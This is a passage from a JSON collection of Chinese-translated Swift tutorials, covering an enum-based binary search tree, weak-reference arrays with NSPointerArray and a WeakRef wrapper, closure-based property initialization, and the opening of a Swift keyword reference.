    // 2.\n      guard case .node(var left, let value, var right) = self else {\n        // 3. \n        self = .node(.empty, newValue, .empty)\n        return \n      }\n\n      // 4. TODO: Implement rest of algorithm!\n\n    }\n\n\n让我们一段一段的来复习一下：\n\n1.\t类型值默认是不变的。如果你创建了尝试在类型值中改变什么东西的方法的话，你会需要通过显式使用 `mutating`（可变）关键词来标记你的方法。\n2. \t你应该在当前结点中使用  `guard` 声明语句来暴露你的左子树，当前值和右子树。而如果这个结点是 `empty`（空）的，那 `guard` 就会失败然后跳入它的 `else` block 语句中去。\n3. \t在这个 block 中，`self`（自身对象） 是 `empty`（空）的。你将会在这里插入一个新的值。\n4. \t这就是你进来的地方 - 稍等一下。\n\n基于之前所提到的算法知识，一会你将尝试着去实现上面的四个段落中的内容。这对于你是一个很好的锻炼，不单单是理解二叉搜索树，还包括磨练你的递归技能。\n\n但在你开始做之前，你需要对 `BinaryTree` 的签名做一点修改。在第四个段落处，你需要对比新值和旧值，但在目前的二叉树实现机制中你无法做到这一点。为了修复这一个问题，把你的 `BinaryTree`（二叉树）枚举更新成下面的样子：\n\n    enum BinaryTree<T: Comparable> {}\n      // stuff inside unchanged\n    }\n\n`Comparable`（可对比的）协议确保你所构建的二叉树可以使用比较运算符进行值的对比，就像使用 `operator`（操作）一样。\n\n现在，根据之前所提到的算法知道，继续尝试实现第四个段落的内容。下面的内容可以作为参考：\n\n* \t**如果当前结点为空** ，你在这里插入一个新的结点，搞定。\n* \t**如果新的值更小** ，你沿着左边的分支向下，你需要这样做。\n* \t**如果新的值更大** ，你沿着右边的分支向下，你需要这样做。\n\n如果你陷入了困境，你可以查看一下下面提供的解决方案。\n\n```\n// 4. TODO: Implement naive algorithm!\nif newValue < value {\n  left.naiveInsert(newValue: newValue)\n} else {\n  right.naiveInsert(newValue: newValue)\n}\n```\n\n### 写时拷贝\n\n虽然这是一个很好的实现，但它不起作用。在你的 playground 程序中写入下面的语句来测试这个功能：\n\n    var binaryTree: BinaryTree = .empty\n    binaryTree.naiveInsert(newValue: 5) // binaryTree now has a node value with 5\n    binaryTree.naiveInsert(newValue: 7) // binaryTree is unchanged\n    binaryTree.naiveInsert(newValue: 9) // binaryTree is unchanged\n\n\n\n![Screen Shot 2016-08-10 at 8.55.46 PM](http://ww2.sinaimg.cn/large/7853084cgw1f7fm570bnhj20hg0h0gmr.jpg)\n\n写时拷贝技术就是这里的罪魁祸首。每次你尝试着去修改这棵树的时候，一个新的子树的拷贝就会被创建。这个新的拷贝是不会链接到你的旧的拷贝的，所以你的最开始的二叉树是永远不会被新的值所修改的。\n\n这里需要一种不同的方式来实现一些事情。在你的 `BinaryTree`（二叉树）枚举中写入下面的语句：\n\n    private func newTreeWithInsertedValue(newValue: T) -> BinaryTree {\n      switch self {\n      // 1\n      case .empty:\n        return .node(.empty, newValue, .empty)\n      // 2 \n      case let .node(left, value, right):\n        if newValue < value {\n          return .node(left.newTreeWithInsertedValue(newValue: newValue), value, right)\n        } else {\n          return .node(left, value, right.newTreeWithInsertedValue(newValue: newValue))\n        }\n      }\n    }\n\n\n这是一个会根据所插入新元素返回一个新的树的方法。代码是相对简单的：\n\n1.\t如果这棵树是空的，你想要去插入一个新值。\n2. \t如果这棵树不是空的，你将会需要去决定把新值插入到左子树或者右子树。\n\n在你的 `BinaryTree`（二叉树）枚举中写入下面的语句：\n\n    mutating func insert(newValue: T) {\n      self = newTreeWithInsertedValue(newValue: newValue)\n    }\n\n通过更换你的 playground 程序最底下的测试语句来进行测试：\n\n    binaryTree.insert(newValue: 5) \n    binaryTree.insert(newValue: 7) \n    binaryTree.insert(newValue: 9)\n\n你应该可以得到下面的树结构：\n\n    value: 5, \n        left = [], \n        right = [value: 7, \n            left = [], \n            right = [value: 9, \n                left = [], \n                right = []]]\n\n恭喜 - 现在你已经可以进行插入工作了。\n\n### 插入时间复杂度\n\n就像在剧透过的章节里面说到的，每次进行一个新的插入操作的时候，你都需要创建一份树的拷贝。创建一份拷贝需要遍历之前的所有结点。这会为这个插入方法增加 _O(n)_ 的时间复杂度。\n\n**提示：** 一颗使用传统类实现的二叉搜索树的平均时间复杂度是 _O(log n)_，这是相当快的。使用类（引用语义）是不会有写时拷贝的行为的，所以你将不去做树的复杂拷贝也能实现插入操作。\n\n## 遍历算法\n\n遍历算法是树的相关操作的基础。一个遍历算法会经历一棵树的所有结点。下面是三种遍历一颗树的主要方式：\n\n### 中序遍历\n\n中序遍历是按照升序来遍历一颗二叉搜索树的。下面是一个中序遍历看起来的样子：\n\n![Traversing](https://cdn2.raywenderlich.com/wp-content/uploads/2016/08/Traversing.png)\n\n从顶部开始，沿着左边尽可能的向下。当你到达左边的底部，你将会看到当前的值，这个时候你尝试着遍历到右边。这个过程将会持续下去直到你遍历完整棵树。\n\n在你的 `BinaryTree`（二叉树）枚举中写入下面的语句：\n\n    func traverseInOrder(process: @noescape (T) -> ()) {\n      switch self {\n      // 1\n      case .empty:\n        return \n      // 2\n      case let .node(left, value, right):\n        left.traverseInOrder(process: process)\n        process(value)\n        right.traverseInOrder(process: process)\n      }\n    }\n\n\n\n这段代码是相当简单的：\n\n1.\t如果这个结点是空的，就没有方法继续前进下去。这里只要返回就好了。\n2. \t如果这个结点不为空，那你将可以前进的更深一点。中序遍历的定义是首先走左子树，然后是结点，最后是右子树。\n\n看到这里，你将会创建上面提到的二叉树。删除你的 playground 程序最底下所有的测试代码并更换成下面的语句：\n\n    var tree: BinaryTree<Int> = .empty\n\n    tree.insert(newValue: 7)\n    tree.insert(newValue: 10)\n    tree.insert(newValue: 2)\n    tree.insert(newValue: 1)\n    tree.insert(newValue: 5)\n    tree.insert(newValue: 9)\n\n    tree.traverseInOrder { print($0) }\n\n\n你已经创建了一棵可以使用你的插入方法的二叉搜索树。`traverseInOrder` 将会在按照升序遍历你的结点后，传递每个结点的值给结尾闭包。\n\n在这个结尾闭包里，你将打印通过你的遍历方法传递过来的值。`$0` 是一种对于传递到闭包的元素进行引用到一种缩写语法。\n\n你将会看到在你的控制台会有这样的输出：\n\n```\n1\n2\n5\n7\n9\n10\n```\n\n### 先序遍历\n\n二叉搜索树的先序遍历是一种在遍历过程中首先遍历节点的遍历方法。这里的关键是在遍历子树之前首先调用  `process` 方法。在你的 `BinaryTree`（二叉树）枚举中写入下面的语句：\n\n    func traversePreOrder( process: @noescape (T) -> ()) {\n      switch self {\n      case .empty:\n        return\n      case let .node(left, value, right):\n        process(value)\n        left.traversePreOrder(process: process)\n        right.traversePreOrder(process: process)\n      }\n    }\n\n### 后序遍历\n\n二叉搜索树的后序遍历是一种在遍历过程中首先遍历左子树和右子树的遍历方法。在你的 `BinaryTree`（二叉树）枚举中写入下面的语句：\n\n    func traversePostOrder( process: @noescape (T) -> ()) {\n      switch self {\n      case .empty:\n        return\n      case let .node(left, value, right):\n        left.traversePostOrder(process: process)\n        right.traversePostOrder(process: process)\n        process(value) \n      }\n    }\n\n\n这三种遍历方法是很多复杂的编程问题的基础。理解它们被证明在很多情况下都是有用的，包括你的下一个编程面试。\n\n### 小小的挑战\n\n遍历算法的时间复杂度是什么?\n\n\n时间复杂度是 _O(n)_ ，这里的 _n_ 指的是树的结点数。\n\n这应该是很明显的，因为这个遍历的想法就是要遍历一棵树的所有结点。\n\n## 搜索\n\n就像二叉搜索树的名字提示我们的一样，一棵二叉搜索树是已知的最好的高效搜索方式。一棵合格的二叉搜索树的所有的左子树的数目会小于它的父结点的数目，而它的所有右结点的数目会大于或等于它的父结点的数目。\n\n利用这个前提，你就可以知道决定选择哪条路线 - 左边或者右边 - 去知道你所要的值是否存在于这棵树上。在你的 `BinaryTree`（二叉树）枚举中写入下面的语句：\n\n    func search(searchValue: T) -> BinaryTree? {\n      switch self {\n      case .empty:\n        return nil\n      case let .node(left, value, right):\n        // 1\n        if searchValue == value {\n          return self\n        }\n\n        // 2\n        if searchValue < value {\n          return left.search(searchValue: searchValue)\n        } else {\n          return right.search(searchValue: searchValue)\n        }\n      }\n    }\n\n很像遍历算法，搜索包括着遍历二叉树：\n\n1.\t如果你的当前值与你想要搜索的值相同，停止搜索。返回当前子树。\n2. \t如果你继续执行到这个点，说明你还没有找到你的值。你将会需要去决定往左子树的方向前进或者往右子树的方向前进。你会使用二叉搜索树的规则来决定。\n\n与遍历算法不同，搜索算法在每一个递归步骤只会遍历其中一边。平均而言,这会导致时间复杂度为 _O(log n)_ ,速度远远快于 _O(n)_ 时间复杂度的遍历操作。\n\n在你的 playground 文件里写下下面的语句来进行测试：\n\n    tree.search(searchValue: 5)\n\n## 下一站是哪里？\n\n我希望你喜欢这个构建 Swift 二叉树数据结构的教程！\n\n这里是一个关于上述代码的 [Swift playground](https://cdn1.raywenderlich.com/wp-content/uploads/2016/08/SwiftBinaryTree.playground.zip)  文件。你也可以在 Swift 算法俱乐部的 [Binary Search Tree](https://github.com/raywenderlich/swift-algorithm-club/tree/master/Binary%20Search%20Tree) 章节里面找到关于二叉树可替代的实现方式和进行进一步的讨论。\n\n这只是 Swift 算法俱乐部所关注的其中一个算法实现。如果你感兴趣，请查看 [repo](https://github.com/raywenderlich/swift-algorithm-club)。\n\n这是你的最好的了解算法和数据结构的机会 - 它们解决很多现实问题，和经常被问及的面试问题。而且很有趣！\n\n所以后面请持续关注来自 Swift 算法俱乐部的教程。如果你对于在 Swift 中实现二叉树有任何问题，请加入下面的论坛进行讨论。\n\n**注意：** [Swift 算法俱乐部](https://github.com/raywenderlich/swift-algorithm-club) 一直在寻找更多的贡献者。如果你对于数据结构，算法有兴趣，或者甚至是有一个面试问题想要分享，不要犹豫，来贡献给大家！了解更多贡献流程，请查看 [加入算法俱乐部](https://www.raywenderlich.com/135533/join-swift-algorithm-club) 这篇文章。\n\n"
  },
  {
    "path": "TODO/swift-arrays-holding-elements-weak-references.md",
    "content": "> * 原文地址：[Swift Arrays Holding Elements With Weak References](https://marcosantadev.com/swift-arrays-holding-elements-weak-references/)\n> * 原文作者：[Marco Santarossa](https://marcosantadev.com/about-me/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[zhangqippp](https://github.com/zhangqippp)\n> * 校对者：[ZhangRuixiang](https://github.com/ZhangRuixiang)，[Danny1451](https://github.com/Danny1451)\n\n# [对元素持有弱引用的Swift数组](https://marcosantadev.com/swift-arrays-holding-elements-weak-references/) #\n\n![](https://marcosantadev.com/wp-content/uploads/header-1.jpg)\n\n在 iOS 开发中我们经常面临一个问题：“用弱引用还是不用，这是一个问题。”。我们来看一下如何在数组中使用弱引用。\n\n# 概述 #\n\n**在本文中，我会谈到内存管理但是不会解释它，因为这不是本文的主题。[官方文档](https://developer.apple.com/library/content/documentation/Swift/Conceptual/Swift_Programming_Language/AutomaticReferenceCounting.html)是学习内存管理的一个好的起点。如果你有其它疑问，请留言，我会尽快给予回复。**\n\n`Array` 是Swift中使用最多的集合。它会默认地对其元素持有强引用。 这种默认的行为在大多数时候都很有用，但是在某些场景下你可能想要使用弱引用。因此，苹果公司给我们提供了一个 `Array` 的替代品：**NSPointerArray**，这个类对它的元素持有弱引用。\n\n在开始研究这个类之前，我们先通过一个例子来了解为什么我们需要使用它。\n\n# 为什么要使用弱引用？ #\n\n举个例子，我们有一个 `ViewManager` ，它有两个 `View` 类型的属性。在它的构造器中，我们把这些视图添加到 `Drawer` 内部的一个数组中，`Drawer` 使用这个数组在其中的视图内绘制一些内容。最后，我们还有一个 `destroyViews` 方法来销毁这两个 `View`：\n\n```\nclass View { }\n \nclass Drawer {\n \n    private let views: [View]\n \n    init(views: [View]) {\n        self.views = views\n    }\n \n    func draw() {\n        // draw something in views\n    }\n}\n \nclass ViewManager {\n \n    private var viewA: View? = View()\n    private var viewB: View? = View()\n    private var drawer: Drawer\n \n    init() {\n        self.drawer = Drawer(views: [viewA!, viewB!])\n    }\n \n    func destroyViews() {\n        viewA = nil\n        viewB = nil\n    }\n}\n```\n \n\n但是，`destroyViews` 方法并没能销毁这两个视图，因为 `Drawer` 内部的数组依然对这些视图保持着强引用。我们可以通过使用 `NSPointerArray` 来避免这个问题。\n\n# [NSPointerArray](https://developer.apple.com/reference/foundation/nspointerarray) #\n\n`NSPointerArray` 是 `Array` 的一个替代品，主要区别在于它不存储对象而是存储对象的指针（ `UnsafeMutableRawPointer` ）。 \n\n这种类型的数组可以管理弱引用也可以管理强引用，取决于它是如何被初始化的。它提供两个静态方法以便我们使用不同的初始化方式：\n\n```\nlet strongRefarray = NSPointerArray.strongObjects() // Maintains strong references\nlet weakRefarray = NSPointerArray.weakObjects() // Maintains weak references\n```\n \n\n我们需要一个弱引用的数组，所以我们使用 `NSPointerArray.weakObjects()`。\n\n现在，我们向数组中添加一个新对象：\n\n```\nclass MyClass { }\n \nvar array = NSPointerArray.weakObjects()\n \nlet obj = MyClass()\nlet pointer = Unmanaged.passUnretained(obj).toOpaque()\narray.addPointer(pointer)\n```\n\n如果你觉得这样使用指针很烦，你可以使用我写的这个扩展，可以简化 `NSPointerArray ` 的使用：\n\n```\nextension NSPointerArray {\n    func addObject(_ object: AnyObject?) {\n        guard let strongObject = object else { return }\n \n        let pointer = Unmanaged.passUnretained(strongObject).toOpaque()\n        addPointer(pointer)\n    }\n \n    func insertObject(_ object: AnyObject?, at index: Int) {\n        guard index < count, let strongObject = object else { return }\n \n        let pointer = Unmanaged.passUnretained(strongObject).toOpaque()\n        insertPointer(pointer, at: index)\n    }\n \n    func replaceObject(at index: Int, withObject object: AnyObject?) {\n        guard index < count, let strongObject = object else { return }\n \n        let pointer = Unmanaged.passUnretained(strongObject).toOpaque()\n        replacePointer(at: index, withPointer: pointer)\n    }\n \n    func object(at index: Int) -> AnyObject? {\n        guard index < count, let pointer = self.pointer(at: index) else { return nil }\n        return Unmanaged<AnyObject>.fromOpaque(pointer).takeUnretainedValue()\n    }\n \n    func removeObject(at index: Int) {\n        guard index < count else { return }\n \n        removePointer(at: index)\n    }\n}\n```\n\n有了这个扩展类，你可以将前面的例子替换为：\n\n```\nvar array = NSPointerArray.weakObjects()\n \nlet obj = MyClass()\narray.addObject(obj)\n``` \n\n如果你想清理这个数组，把其中的对象都置为 `nil`，你可以调用 `compact()` 方法：\n\n```\narray.compact()\n```\n \n到了这里，我们可以将上一小节 “为什么要使用弱引用？” 中的例子重构为如下代码：\n\n```\nclass View { }\n \nclass Drawer {\n \n    private let views: NSPointerArray\n \n    init(views: NSPointerArray) {\n        self.views = views\n    }\n \n    func draw() {\n        // draw something in views\n    }\n}\n \nclass ViewManager {\n \n    private var viewA: View? = View()\n    private var viewB: View? = View()\n    private var drawer: Drawer\n \n    init() {\n        let array = NSPointerArray.weakObjects()\n        array.addObject(viewA)\n        array.addObject(viewB)\n        self.drawer = Drawer(views: array)\n    }\n \n    func destroyViews() {\n        viewA = nil\n        viewB = nil\n    }\n}\n \n```\n\n注意:\n\n1. 你可能已经注意到了 `NSPointerArray` 只存储 `AnyObject` 的指针，这意味着你只能存储类 —— 结构体和枚举都不行。你可以存储带有 [`class`](https://developer.apple.com/library/content/documentation/Swift/Conceptual/Swift_Programming_Language/Protocols.html#//apple_ref/doc/uid/TP40014097-CH25-ID281) 关键字的协议：\n\n```\nprotocolMyProtocol: class{}\n```\n\n2. 如果你想试用一下 `NSPointerArray`，我建议不要使用 Playground ，因为你可能因为引用计数问题得到一些奇怪的行为。使用一个简单的 app 会更好。\n\n# 备选方案 #\n\n`NSPointerArray` 对于存储对象和保持弱引用来说非常有用，但是它有一个问题：它不是类型安全的。 \n\n“非类型安全”，在此处的意思是编译器无法无法推断隐含在 `NSPointerArray` 内部的对象的类型，因为它使用的是 `AnyObject` 型对象的指针。因此，当你从数组中获取一个对象时，你需要把它转成你所需要的类型：\n\n```\nif let firstObject=array.object(at:0)as?MyClass{// Cast to MyClass\n\n    print(\"The first object is a MyClass\")\n\n}\n\n``` \n\n**`object(at:)` 方法来自我先前展示的 `NSPointerArray` 扩展类。**\n\n如果我们想使用一个类型安全的数组替代品，我们就不能使用 `NSPointerArray` 了。 \n\n一个可行的方案是创建一个新类 `WeakRef` ，它带有一个普通的weak属性 `value`：\n\n```\nclass WeakRef<T>whereT: AnyObject{\n\n    private(set)weakvarvalue:T?\n\n    init(value:T?){\n\n        self.value=value\n\n    }\n\n}\n```\n \n\n**`private(set)` 方法将 `value` 设置为只读模式, 这样就无法在类的外部设置它的值了。**\n\n然后，我们可以创建一组 `WeakRef` 对象，将你的 `MyClass` 对象储存到它们的 `value` 属性：\n\n```\nvar array=[WeakRef<MyClass>]()\n\n \n\nlet obj=MyClass()\n\nlet weakObj=WeakRef(value:obj)\n\narray.append(weakObj)\n``` \n\n现在，我们拥有一个类型安全的数组，其内部对你的 `MyClass` 对象持有弱引用。这种实现的坏处在于，我们必须在代码中多加一层（`WeakRef`），来用一种类型安全的方式包裹弱引用。\n\n如果你想清理数组，去除其中值为 `nil` 的对象，你可以使用下面的方法：\n\n```\nfunc compact(){\n\n    array=array.filter{$0.value!=nil}\n\n}\n```\n\n**`filter` 返回一个其中元素满足给定条件的新数组。你可以在[文档](https://developer.apple.com/reference/swift/array/1688383-filter)中获取更多的信息。**\n\n现在，我们可以将 “为什么要使用弱引用？” 小节中的例子重构为如下代码：\n\n```\nclass View { }\n \nclass Drawer {\n \n    private let views: [WeakRef<View>]\n \n    init(views: [WeakRef<View>]) {\n        self.views = views\n    }\n \n    func draw() {\n        // draw something in views\n    }\n}\n \nclass ViewManager {\n \n    private var viewA: View? = View()\n    private var viewB: View? = View()\n    private var drawer: Drawer\n \n    init() {\n        var array = [WeakRef<View>]()\n        array.append(WeakRef<View>(value: viewA))\n        array.append(WeakRef<View>(value: viewB))\n        self.drawer = Drawer(views: array)\n    }\n \n    func destroyViews() {\n        viewA = nil\n        viewB = nil\n    }\n}\n```\n\n使用类型别名的更简洁的版本如下：\n\n```\ntypealias WeakRefView = WeakRef<View>\n \nclass View { }\n \nclass Drawer {\n \n    private let views: [WeakRefView]\n \n    init(views: [WeakRefView]) {\n        self.views = views\n    }\n \n    func draw() {\n        // draw something in views\n    }\n}\n \nclass ViewManager {\n    private var viewA: View? = View()\n    private var viewB: View? = View()\n    private var drawer: Drawer\n \n    init() {\n        var array = [WeakRefView]()\n        array.append(WeakRefView(value: viewA))\n        array.append(WeakRefView(value: viewB))\n        self.drawer = Drawer(views: array)\n    }\n \n    func destroyViews() {\n        viewA = nil\n        viewB = nil\n    }\n}\n```\n \n# Dictionary 和 Set #\n\n本文主要讨论了 `Array`，如果你需要 `Dictionary` 的类似于 `NSPointerArray` 的替代品，你可以参考 [NSMapTable](https://developer.apple.com/reference/foundation/nsmaptable)，以及 `Set` 的替代品 [NSHashTable](https://developer.apple.com/reference/foundation/nshashtable)。\n\n如果你需要一个类型安全的 `Dictionary`/`Set`，你可以通过使用 `WeakRef` 对象来实现。\n\n# 结论 #\n\n你可能不会经常使用持有弱引用的数组，但是这不是不去了解其实现原理的理由。在 iOS 开发中，内存管理是非常重要的，我们应该避免内存泄露，因为 iOS 没有垃圾回收器。 ¯\\_(ツ)_/¯\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/swift-initialization-with-closures.md",
    "content": "> * 原文链接: ：[Swift + 闭包初始化](https://medium.com/the-traveled-ios-developers-guide/swift-initialization-with-closures-5ea177f65a5#.dt9an4mzn)\n* 原文作者: [Jordan Morgan](https://medium.com/@JordanMorgan10)\n* 译文出自: [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者: [circlelove](https://github.com/circlelove)\n* 校对者:[Kulbear](https://github.com/Kulbear), [siegeout](https://github.com/siegeout)\n\n# Swift + 闭包初始化\n\n闭包 FTW\n\n\n我准备开始彻底的探明 Swift 安装的整个流程。[过去写过这个东西](https://medium.com/the-traveled-ios-developers-guide/they-say-it-s-all-about-how-you-finish-d0203c7fbe8a#.w30umpm7t)。[我解释了它的工作方式](https://medium.com/the-traveled-ios-developers-guide/on-definitive-initialization-54284ef5c96f#.mdqytwjfr)。我做了一期讨论，阅读了大量相关内容。但是，我又回来讨论更多有关它的问题。\n\n在 Swift 众多漂亮多样的安装方法当中————使用闭包并不是一向被推荐的方式。但是，它可以使得 boilerplatey**™** init() 的代码故障更少，可操作性更强。\n\n程序用户界面开发者们————这是给你们的🍻!\n\n### UIKit == UIHugeSetupCode()\n\n看，这不是 UIKits 的错。因为各种偏好设置，需要跟用户交互的组件会给它们自己增加大量的设置代码。通常，这些组件中的大部分不是在 viewDidLoad 就是在 loadView ：\n```\noverride func loadView()\n{\n    let helloWorldLbl = UILabel()\n    helloWorldLbl.text = NSLocalizedString(“controller.topLbl.helloWorld”, comment: “Hello World!”)\n    helloWorldLbl.font =   UIFont.preferredFontForTextStyle(UIFontTextStyleBody)\n    helloWorldLbl.textColor = UIColor.whiteColor()\n    helloWorldLbl.textAlignment = .Center\n    self.view.addSubview(helloWorldLbl)\n}\n```\n\n眼下，这对于我们中尝试脱离 .xib 或 .storyboard 使用 Cocoa Touch Waters 的人来说是稀松平常的事。不过，如果你和我一样我对微小 viewDidLoad 或  loadView 方法十分喜爱，你可以把它放在其他地方。\n\n比如，一个属性：\n\n```\nlet helloWorldLbl:UILabel = {\n    let lbl = UILabel()\n    lbl.text = NSLocalizedString(“controller.topLbl.helloWorld”, comment: “Hello World!”)\n    lbl.font = UIFont.preferredFontForTextStyle(UIFontTextStyleBody)\n    lbl.textColor = UIColor.whiteColor()\n    lbl.textAlignment = .Center\n    return lbl\n    }()\n```\n\n的确。在 Apple 自己的 Swift 书当中指出“ 如果你的属性的默认值需要一些定制或者配置，你可以利用闭包或者全局函数为属性提供默认值”。 正如我们刚才提到的，UIKit 产生大量的定制和配置。\n\n不过，其中一个漂亮的副产品就是 loadView 现在的样子：\n```\noverride func loadView\n{\n    self.view.addSubview(self.helloWorldLbl)\n    }\n```\n\n然而，注意到 “()”  在属性声明的闭包末端。这样让编译你代码的 Swift 程序了解到这个实例已经被分配给了  _return_  类型的闭包。如果我们忽略这个，就有可能将实例分配给闭包本身。\n\n这个例子当中，那是 🙅.\n\n### 规则，还是规则！\n\n即使我们有一个崭新的新玩具，记住这里的规则也是十分重要的。因为我们在将一个属性赋给一个闭包，而其他它所包含的实例很可能还没有被初始化。因此，在闭包执行时，它不可能引用其他属性值或者从自身引用：\n\n例如：\n\n```\nlet helloWorldLbl:UILabel = {\n    let lbl = UILabel()\n    lbl.text = self.someFunctionToDetermineText() //Compiler error\n    lbl.font = UIFont.preferredFontForTextStyle(UIFontTextStyleBody)\n    lbl.textColor = self.myAppTheme.textColor() //Another error\n    lbl.textAlignment = .Center\n    return lbl\n    }()\n```\n\n自我的实例可能还不能安全地被使用，或者它可能无法通过 Swift 两相初始化过程。任何实例属性也都会这样，而不会简单地由分配和初始化从闭包实施后立即执行。\n\n这是一个独特的，但需要使用闭包初始化的缺点。这是非常重要的，不过也就在符合这三个快速的设计目标之一：安全。\n\n### 用集合变得可爱\n\n我发现，这种技术特别有用的一个领域是实例，它代表 Swift 里许多不同形式的集合之一。Swift 许多才能当中，像使用 1000 个站立泰坦的力量一样的强大性能，从集合中进行分离和筛选的处理是我最喜欢的功能之一。\n\n考虑下面的例子，是从我目前运行的项目中提取的构造器。安置代码的类具有一个开发者属性。重启之后，在一个 .plist  文件当中设置初始化值。之后，这些就通过 NSKeyedArchiver 保存了起来。\n\n```\nguard let devs = NSKeyedUnarchiver.unarchiveObjectWithFile(DevDataManager.ArchiveURL.path!) as? [Developer] else\n{\n    self.developers = {\n        let pListData = //Get plist data\n        var devArray:[Developer] = [Developer]()\n        //Set up devArray from plist data\n        return devArray.map{ $0.setLocation() }\n                       .filter{ $0.isRentable }\n                       .sort{ $0.name < $1.name }\n     }()\n    return\n}\nself.developers = devs\n```\n\n我相当喜欢这种方法，因为构造器之外即使我们没有用它，代码意图也相当的明确，它就只是负责设置属性。\n\n随着构造器和 viewDidLoad 覆盖范围变大，(至少）这样的事件拆分对于可读性而言是十分受欢迎的。\n\n### 获取  NSCute \n\n\n如果你只是真的用闭包挖掘初始化的东西，但是严重受限于代码中那些功能化  $ 的缺失，振作起来。利用一些内行的 Swiftery ，一个人可以创建一个闭包本身内的一些推断类型的代码，那会生成一些专业的风格设计。思考下这个代码，我在一直提供信息的 [NSHipster](http://nshipster.com/new-years-2016/): 当中我经常碰到。\n\n```\n@warn_unused_result\npublic func Init<Type>(value : Type, @noescape block: (object: Type) -> Void) -> Type\n{\n    block(object: value)\n    return value\n}\n\n```\n\n\n我喜欢这种方式。一个公共函数，它需要一个闭包与使用泛型类型的对象，这意味着你可以转而用更多类型信息初始化的东西。反过来我们的第一个代码示例将会像这样\n\n```\nlet helloWorldLbl = Init(UILabel()) {\n    $0.text = NSLocalizedString(“controller.topLbl.helloWorld”, comment: “Hello World!”)\n    $0.font = UIFont.preferredFontForTextStyle(UIFontTextStyleBody)\n    $0.textColor = UIColor.whiteColor()\n    $0.textAlignment = .Center\n}\n```\n\n尽管看起来很神奇，它确实让我们在闭包中不再需要使用实例变量，也去掉了所需的（）。很棒 👏.。\n\n### 最后的想法\n\n有人说用这种技术是多此一举。尽管程序员处理的代码行数还是那么庞大，我需要强调的是场景和灵活性使之成为理想的环境。\n\n这是搞定项目的一个有意思的办法，还有许多可以用我们的老朋友 Objective-C 处理同样事情的办法。不过你看，你懂的越来越多了，我说的对吧？\n\nUntil nextWeek = { let week = Week() week.advancedBy(days: 7) }()\n"
  },
  {
    "path": "TODO/swift-keywords.md",
    "content": "> * 原文地址：[Swift + Keywords (V 3.0.1)](https://medium.com/the-traveled-ios-developers-guide/swift-keywords-v-3-0-1-f59783bf26c#.jyslid67n)\n* 原文作者：[Jordan Morgan](https://medium.com/@JordanMorgan10?source=post_header_lockup)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Deepmissea](http://deepmissea.blue)\n* 校对者：[ylq167](http://www.11167.xyz)，[oOatuo](http://atuo.xyz)\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*377To6hCTuE51ZzrVQMBfw.jpeg\">\n\nMacbook + 纸张。致命组合\n\n# Swift + 关键字（V 3.0.1）\n## A Tell All ##\n\n有句话以前说过，现在我要再次提一下，一个优秀的匠人，他（她）的工具同样优秀。当我们一丝不苟地去使用这些工具时，它们就会带我们到想去的地方，或者完成我们的梦寐以求的作品。\n\n我并没有贬义的意思，因为总是有很多东西要学。所以今天，[我们来看看 Swift 中的**每一个关键字**](https://developer.apple.com/library/content/documentation/Swift/Conceptual/Swift_Programming_Language/LexicalStructure.html)(v 3.0.1)，看看它为我们每个人提供的代码，我们每个人预定的工具的名字。\n\n有一些是很简单的，有一些是晦涩难懂的，也有一些是有点能认出来的。但是他们都很值得阅读和学习，这会很漫长，准备好了吗？\n\n现在，让我们嗨起来~\n\n#### 声明关键字\n\n**associatedtype**：通常作为协议的一部分，为一种类型提供一个占位符。在协议未被遵守之前，这个类型都是未知的。\n\n```\nprotocol Entertainment\n{\n    associatedtype MediaType\n}\n\nclass Foo : Entertainment\n{\n    typealias MediaType = String // 可以是任何符合需求的类型？\n}\n```\n\n**class**：一个构建程序代码的通用且灵活的基础结构。和 struct 有些相似，除了：\n\n- 继承。允许一个类继承另一个类的特性。\n- 类型转换。允许你在运行时检查并解释一个类的实例的类型。\n- 析构器。允许一个类的实例释放它分配的任何资源。\n- 引用计数。允许类的实例有多个引用。\n\n```\nclass Person\n{\n    var name:String\n    var age:Int\n    var gender:String\n}\n```\n\n**deinit**：在类的实例被释放前马上调用。\n\n```\nclass Person\n{\n    var name:String\n    var age:Int\n    var gender:String\n\n    deinit\n    {\n        // 从堆里释放，在这里卸货。\n    }\n}\n```\n\n**enum**：为一组相关值定义通用类型，并使你能够在代码中以类型安全的方式使用这些值。在 Swift 中，它们属于第一类类型，并且可以使用一些特性，这些特性在其他语言里往往只有类才支持。\n\n```\nenum Gender\n{\n    case male\n    case female\n}\n```\n\n**extension**：允许为现有的类、结构体、枚举或协议添加新的功能。\n\n```\nclass Person\n{\n    var name:String = \"\"\n    var age:Int = 0\n    var gender:String = \"\"\n}\n\nextension Person\n{\n    func printInfo()\n    {\n        print(\"My name is \\(name), I'm \\(age) years old and I'm a \\(gender).\")\n    }\n}\n```\n\n**fileprivate**：访问控制结构，将作用域限制在源文件。\n\n```\nclass Person\n{\n    fileprivate var jobTitle:String = \"\"\n}\n\nextension Person\n{\n\n    // 如果使用 \"private\" 声明，将不会通过编译。\n    func printJobTitle()\n    {\n        print(\"My job is \\(jobTitle)\")\n    }\n}\n```\n\n**func** : 执行一个特定的自包含的代码块。\n\n```\nfunc addNumbers(num1:Int, num2:Int) -> Int\n{\n    return num1+num2\n}\n```\n\n**import**：将一个已构建的框架或应用，作为一个单元暴露给指定的二进制文件。\n\n\n```\nimport UIKit\n\n// 现在，所有 UIKit 的代码都可以调用\nclass Foo {}\n```\n\n**init** : 构造一个类、结构体或枚举的实例的过程。\n\n```\nclass Person \n{\n    init()\n    {\n        // 在这设置默认的值等等。\n    